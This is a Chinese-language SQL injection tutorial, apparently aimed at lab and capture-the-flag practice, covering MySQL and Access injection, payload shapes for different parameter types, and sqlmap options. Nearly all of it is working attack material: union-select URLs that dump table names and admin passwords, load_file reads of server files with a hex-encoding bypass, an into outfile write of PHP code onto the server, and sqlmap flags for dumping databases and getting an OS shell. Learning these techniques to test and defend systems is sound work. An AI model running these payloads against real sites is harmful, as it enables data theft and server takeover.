SQL注入篇(一):数据库类型 & 数据类型 & Sqlmap
数据库类型
MySQL
低权限注入
MySQL低权限注入通常指攻击者能够通过注入恶意的SQL代码来与数据库交互,但由于数据库用户权限较低,攻击者的权限受到限制,无法直接执行高权限的操作(如修改数据库结构、访问敏感数据等)。
常规步骤:
判断是否存在SQL注入
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1
页面返回正常,而http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2
页面报错,则说明此处存在SQL注入漏洞。判断字段数
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 2
页面返回正常,而http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3
页面报错,则说明当前表一共有2个字段。判断回显位置
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,2
,页面显示2,说明数字2的位置可以回显。查看数据库相关信息(可选步骤)
- 数据库名:database()
- 数据库版本:version()
- 数据库用户:user()
- 操作系统:@@version_compile_os
查看当前数据库的表名
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
1
2
3
4information_schema
tables
table_schema
table_name查看当前表的字段名
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'
1
2
3
4
5information_schema
columns
table_schema
table_name
column_name查看表中字段的数据
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(password) from admin
高权限注入
使用user()查看到当前用户如果为root,则可以尝试进行一些高权限用户的操作。
文件读取:
select load_file('[目标文件路径]')
前提条件:
1、secure_file_priv有权限
2、对指定路径的指定文件有读取权限
3、能使用union联合注入如果对单引号进行了过滤,可以使用16进制编码的形式绕过。
select load_file(‘/flag.txt’) ==> select load_file(0x2f666c61672e747874)
文件写入:
select load_file('[本地文件路径]') into outfile '[目标文件路径]';
select '<?php phpinfo();?>' into outfile '[目标文件路径]';
Access
Access数据库的结构:
1 | 数据库名 |
数据库特性
- 没数据库用户
- 没数据库权限
- 没数据库查询参数
- 没高权限注入的说法
偏移注入
Access数据库并不像MySQL那样拥有information_schema这种包含所有库名、表名、列名的数据库,因此只能通过字典猜解表名和列名。
如果表名已知,列名未知,可以采用偏移注入。
判断注入点
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
直到……
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段用 * 代表 admin 表的字段数,计算 * 代替字符的位数。
Access偏移注入原理,基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符爆列名数据
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
MSSQL、PostgreSQL和MySQL差不多,语法差别网上搜。
数据类型
数字:一般不用考虑符号
?id=1 and 1=2 union select...
select from tables where id=$id
select from tables where id=1 and 1=2 union select…字符:一般闭合单引号
?name=test' and 1=2 union select... --+
select from tables where name=’$s’
select from tables where name=’test’ and 1=2 union select… –+’搜索:一般闭合单引号加通配符
?search=test%' union select... and '%'='
select from tables where search like ‘%$s%’
select from tables where search like ‘%test%’ union select… and ‘%’=’%’编码:Payload需要进行编码后发送
加密:Payload需要进行加密后发送
json
{"username": "admin' and 1=2 union select... --+", "password": "test"}
select * from tables where username=’{$username}’
select * from tables where username=’admin’ and 1=2 union select… #’
注入工具-Sqlmap
Sqlmap用户手册:https://sqlmap.highlight.ink/usage
普通注入
判断是否存在SQL注入
sqlmap -u [url]
出现下面这样的信息则说明存在SQL注入。
爆库
--dbs
爆表
--tables -D [库名]
爆字段
--columns -T [表名] -D [库名]
爆数据
--dump -C [字段名] -T [表名] -D [库名]
编码注入
- base64:–tamper参数指定模板
base64encode.py
- 宽字节:–tamper参数指定模板
apostrophenullencode.py
- URL编码:–tamper参数指定模板
charencode.py
- 等等
权限注入
- 文件操作
- –file-read:读取后端 DBMS 文件系统中的文件
- –file-write:写入到后端 DBMS 文件系统中的文件
- –file-dest:使用绝对路径写入到后端 DBMS 中的文件
- 命令执行
- –os-shell:调出交互式操作系统 shell
- –os-cmd:执行操作系统命令
- 等等